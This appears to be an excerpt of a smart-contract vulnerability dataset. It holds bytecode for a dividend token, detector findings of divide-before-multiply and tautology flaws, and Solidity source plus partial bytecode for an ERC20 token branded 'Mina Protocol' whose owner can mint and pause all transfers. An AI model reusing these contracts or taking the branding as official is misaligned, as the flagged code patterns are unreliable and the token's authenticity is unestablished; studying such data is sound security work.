190815260200160002060030160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b818190508484905014610cf157600080fd5b60008090505b84849050811015610d5557610d4733868684818110610d1257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16858585818110610d3b57fe5b90506020020135611dd8565b508080600101915050610cf7565b5050505050565b6000600160000154905090565b60008060149054906101000a900460ff161580610dd257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ddb57600080fd5b81600160020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6a57600080fd5b81600160020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610f05848484611dd8565b50600190509392505050565b610f1a816120c2565b50565b601281565b600060159054906101000a900460ff1681565b6000600160020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fea57600080fd5b600060149054906101000a900460ff1661100357600080fd5b60011515600060149054906101000a900460ff1615151461102357600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080611079338787611dd8565b90506000863b905060008163ffffffff161115611190578673ffffffffffffffffffffffffffffffffffffffff16636be32e73338488886040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050602060405180830381600087803b15801561114b57600080fd5b505af115801561115f573d6000803e3d6000fd5b505050506040513d602081101561117557600080fd5b810190808051906020019092919050505061118f57600080fd5b5b600192505050949350505050565b806111a83361147e565b10156111b357600080fd5b80600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555060008190506000600180015411156112b6576002818161122257fe5b04905060018001546801000000000000000082028161123d57fe5b046001600301600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b80600160000160008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c357600080fd5b60008060146101000a81548160ff02191690831515021790555060008060156101000a81548160ff0219169083151502179055507faff39f66825d4448497d384dee3f4a3adf00a622960add00806503ae4ccee01c60405160405180910390a1565b6000806000806000611435610d5c565b61143d6115d7565b6114468861147e565b61144f89611914565b6114588a610a8f565b9450945094509450945091939590929450565b600060149054906101000a900460ff1681565b600061148982611914565b600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154039050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001800154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461163c57600080fd5b600060149054906101000a900460ff1615806116a457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6116ad57600080fd5b60011515600060159054906101000a900460ff161515146116cd57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060018001541161174c57600080fd5b806117563361147e565b101561176157600080fd5b80600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825403925050819055506001800154680100000000000000008202816117cc57fe5b046001600301600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6040518060400160405280600381526020017f444546000000000000000000000000000000000000000000000000000000000081525081565b611889816122df565b50565b60008060149054906101000a900460ff1615806118f557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6118fe57600080fd5b611909338484611dd8565b506001905092915050565b6000600160020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b6000600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806119fc33610a8f565b90506000811015611a0c57600080fd5b680100000000000000008102600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f4256a058fa2b123d727576d3d31e3a272db98ee5fe264e229610ce43dc849999826040518082815260200191505060405180910390a28091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bd057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c0a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2557600080fd5b80600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d82604051808215151515815260200191505060405180910390a25050565b600081611de48561147e565b1015611def57600080fd5b81600160020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282540392505081905550600060646005840281611e5157fe5b049050606460016a084595161401484a0000000281611e6c57fe5b0481611e76610d5c565b031080611e885750611e8785610f35565b5b15611e9257600090505b6000818403905080600160020160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360008211156120b6576000600180015411156120055760028281611f7157fe5b049150600180015468010000000000000000830281611f8c57fe5b046001600301600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b81600160000160008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a37fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb826040518082815260200191505060405180910390a15b80925050509392505050565b806120cc33611914565b10156120d757600080fd5b6000606460058302816120e657fe5b04905060018001546801000000000000000082028161210157fe5b0460016003016000828254019250508190555081600180016000828254039250508190555080600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555081600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825403925050819055506001600301548202600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385036040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f85082129d87b2fe11527cb1b3b7a520aeb5aa6913f88a3d8757fe40d1db02fdd836040518082815260200191505060405180910390a25050565b806122e93361147e565b10156122f457600080fd5b683635c9adc5dea000008161230833611914565b01101561231457600080fd5b80600180016000828254019250508190555080600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506001600301548102600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a826040518082815260200191505060405180910390a25056fea265627a7a72315820f51a8ae78b3e3c89999db5bb5fafdd8e32a6310d1285da3dede23353807ef2ea64736f6c634300050d0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,445 |
0xd5eaa77d656917ee5aa24034202386e2ef68b18f
|
pragma solidity 0.5.10;
/**
* MINA PROTOCOL
*
*
* The world's lightest blockchain, powered by participants.
*
* By design, the entire Mina blockchain is and will always be about 22kb - the size of a couple of tweets.
* So anyone with a smartphone will be able to sync and verify the network in seconds.
*
* About the Tech: https://minaprotocol.com/tech
* Knowledge Base: https://minaprotocol.com/get-started#knowledge-base
*
* Technical Whitepaper: https://minaprotocol.com/static/pdf/technicalWhitepaper.pdf
* Economics Whitepaper: https://minaprotocol.com/static/pdf/economicsWhitepaper.pdf
*
* Mina Protocol-media
* Official Website: https://minaprotocol.com
* Github: https://github.com/MinaProtocol/mina
* Twitter: https://twitter.com/minaprotocol
* Telegram: https://t.me/minaprotocol
* Forums: https://forums.minaprotocol.com/t/mina-protocol-chinese-resources/200
* Discord: https://discord.com/invite/RDQc43H
* Facebook: https://www.facebook.com/Mina-Protocol-108885454193665
* Reddit: https://www.reddit.com/r/MinaProtocol
* Wiki: https://minawiki.com/Main_Page
*/
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "Caller is not the owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title MinterRole
* @dev role for addresses who has permission to mint tokens.
*/
contract MinterRole is Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(msg.sender), "Caller has no permission");
_;
}
function isMinter(address account) public view returns (bool) {
return(_minters.has(account) || isOwner(account));
}
function addMinter(address account) public onlyOwner {
_minters.add(account);
emit MinterAdded(account);
}
function removeMinter(address account) public onlyOwner {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title HalterRole
* @dev role for addresses who has permission to pause any token movement.
*/
contract HalterRole is Ownable {
using Roles for Roles.Role;
event HalterAdded(address indexed account);
event HalterRemoved(address indexed account);
Roles.Role private _halters;
modifier onlyHalter() {
require(isHalter(msg.sender), "Caller has no permission");
_;
}
function isHalter(address account) public view returns (bool) {
return(_halters.has(account) || isOwner(account));
}
function addHalter(address account) public onlyOwner {
_halters.add(account);
emit HalterAdded(account);
}
function removeHalter(address account) public onlyOwner {
_halters.remove(account);
emit HalterRemoved(account);
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* See https://eips.ethereum.org/EIPS/eip-20
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0));
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(amount));
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for.
*/
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*/
contract ERC20Mintable is ERC20Burnable, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
/**
* @dev Extension of {ERC20} that adds a possibility to temporary prevent any token movements.
*/
contract ERC20Haltable is ERC20Mintable, HalterRole {
bool public paused;
event Paused(address by);
event Unpaused(address by);
modifier notPaused() {
require(!paused);
_;
}
function pause() public onlyHalter {
paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyHalter {
paused = false;
emit Unpaused(msg.sender);
}
function _transfer(address from, address to, uint256 value) internal notPaused {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal notPaused {
super._mint(account, value);
}
function _burn(address account, uint256 amount) internal notPaused {
super._burn(account, amount);
}
}
/**
* @title ApproveAndCall Interface.
* @dev ApproveAndCall system allows to communicate with smart-contracts.
*/
interface IApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
/**
* @title The main project contract.
*/
contract MINAToken is ERC20Haltable {
string private _name = "Mina Protocol";
string private _symbol = "MINA";
uint8 private _decimals = 9;
uint256 internal constant _emission = 1000000000 * (10 ** 9);
mapping (address => bool) private _contracts;
bool public mintingFinished;
mapping (address => uint256) internal holderMap;
address[] public holderList;
modifier onlyMinter() {
if (mintingFinished) {
revert();
}
require(isMinter(msg.sender), "Caller has no permission");
_;
}
constructor() public {
_addHolder(address(0));
}
function _transfer(address from, address to, uint256 value) internal {
if (value != 0) {
if (holderMap[to] == 0) {
_addHolder(to);
}
if (balanceOf(from).sub(value) == 0) {
_removeHolder(from);
}
}
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _emission);
if (value != 0 && holderMap[account] == 0) {
_addHolder(account);
}
super._mint(account, value);
}
function _burn(address account, uint256 amount) internal {
if (balanceOf(account).sub(amount) == 0) {
_removeHolder(account);
}
super._burn(account, amount);
}
function _addHolder(address account) internal {
holderList.push(account);
holderMap[account] = holderList.length.sub(1);
}
function _removeHolder(address account) internal {
if (holderList.length > 1) {
holderList[holderMap[account]] = holderList[holderList.length.sub(1)];
holderMap[holderList[holderList.length.sub(1)]] = holderMap[account];
}
holderMap[account] = 0;
holderList.length = holderList.length.sub(1);
}
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
IApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
function registerContract(address addr) public onlyOwner {
require(isContract(addr));
_contracts[addr] = true;
}
function unregisterContract(address addr) external onlyOwner {
_contracts[addr] = false;
}
function finishMinting() external onlyMinter {
mintingFinished = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function isRegistered(address addr) public view returns (bool) {
return _contracts[addr];
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function amountOfHolders() public view returns (uint256) {
return holderList.length.sub(1);
}
function holders() public view returns (address[] memory) {
return holderList;
}
}
|
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c806379cc679011610125578063a74baaa4116100ad578063c440b5f61161007c578063c440b5f614610ae2578063cae9ca5114610b26578063dd62ed3e14610c23578063f2fde38b14610c9b578063fac2c62114610cdf5761021c565b8063a74baaa4146109a6578063a9059cbb146109c4578063aa271e1a14610a2a578063c3c5a54714610a865761021c565b80638da5cb5b116100f45780638da5cb5b146107eb57806395d89b4114610835578063983b2d56146108b8578063a1e8b4f1146108fc578063a457c2d7146109405761021c565b806379cc67901461072a5780637d64bcb4146107785780638188f71c146107825780638456cb59146107e15761021c565b8063313ce567116101a857806342966c681161017757806342966c681461061c5780635c975abb1461064a5780635fe0a0181461066c57806370a08231146106c8578063715018a6146107205761021c565b8063313ce5671461052257806339509351146105465780633f4ba83a146105ac57806340c10f19146105b65761021c565b806318160ddd116101ef57806318160ddd1461039a57806322a5dde4146103b857806323b872dd146103fc5780632f54bf6e146104825780633092afd5146104de5761021c565b806305d2035b1461022157806306fdde0314610243578063095ea7b3146102c657806316ad42ad1461032c575b600080fd5b610229610d23565b604051808215151515815260200191505060405180910390f35b61024b610d36565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028b578082015181840152602081019050610270565b50505050905090810190601f1680156102b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610312600480360360408110156102dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd8565b604051808215151515815260200191505060405180910390f35b6103586004803603602081101561034257600080fd5b8101908080359060200190929190505050610def565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610e2b565b6040518082815260200191505060405180910390f35b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e35565b005b6104686004803603606081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1d565b604051808215151515815260200191505060405180910390f35b6104c46004803603602081101561049857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fce565b604051808215151515815260200191505060405180910390f35b610520600480360360208110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611028565b005b61052a6110fd565b604051808260ff1660ff16815260200191505060405180910390f35b6105926004803603604081101561055c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611114565b604051808215151515815260200191505060405180910390f35b6105b46111b9565b005b610602600480360360408110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112b4565b604051808215151515815260200191505060405180910390f35b6106486004803603602081101561063257600080fd5b810190808035906020019092919050505061135f565b005b61065261136c565b604051808215151515815260200191505060405180910390f35b6106ae6004803603602081101561068257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137f565b604051808215151515815260200191505060405180910390f35b61070a600480360360208110156106de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ac565b6040518082815260200191505060405180910390f35b6107286113f4565b005b6107766004803603604081101561074057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611530565b005b61078061153e565b005b61078a6115f0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107cd5780820151818401526020810190506107b2565b505050509050019250505060405180910390f35b6107e961167e565b005b6107f3611779565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61083d6117a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087d578082015181840152602081019050610862565b50505050905090810190601f1680156108aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108fa600480360360208110156108ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611845565b005b61093e6004803603602081101561091257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061191a565b005b61098c6004803603604081101561095657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119ef565b604051808215151515815260200191505060405180910390f35b6109ae611a94565b6040518082815260200191505060405180910390f35b610a10600480360360408110156109da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ab4565b604051808215151515815260200191505060405180910390f35b610a6c60048036036020811015610a4057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b63565b604051808215151515815260200191505060405180910390f35b610ac860048036036020811015610a9c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b90565b604051808215151515815260200191505060405180910390f35b610b2460048036036020811015610af857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be6565b005b610c0960048036036060811015610b3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b8357600080fd5b820183602082011115610b9557600080fd5b80359060200191846001830284011164010000000083111715610bb757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cbb565b604051808215151515815260200191505060405180910390f35b610c8560048036036040811015610c3957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b6040518082815260200191505060405180910390f35b610cdd60048036036020811015610cb157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ea2565b005b610d2160048036036020811015610cf557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612080565b005b600b60009054906101000a900460ff1681565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dce5780601f10610da357610100808354040283529160200191610dce565b820191906000526020600020905b815481529060010190602001808311610db157829003601f168201915b5050505050905090565b6000610de5338484612156565b6001905092915050565b600d8181548110610dfc57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b610e3e33610fce565b610eb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b610eb9816122b5565b610ec257600080fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610f2a8484846122c8565b610fc38433610fbe85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b612156565b600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b61103133610fce565b6110a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6110b781600461238090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b6000600960009054906101000a900460ff16905090565b60006111af33846111aa85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b612156565b6001905092915050565b6111c23361137f565b611234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b6000600660006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff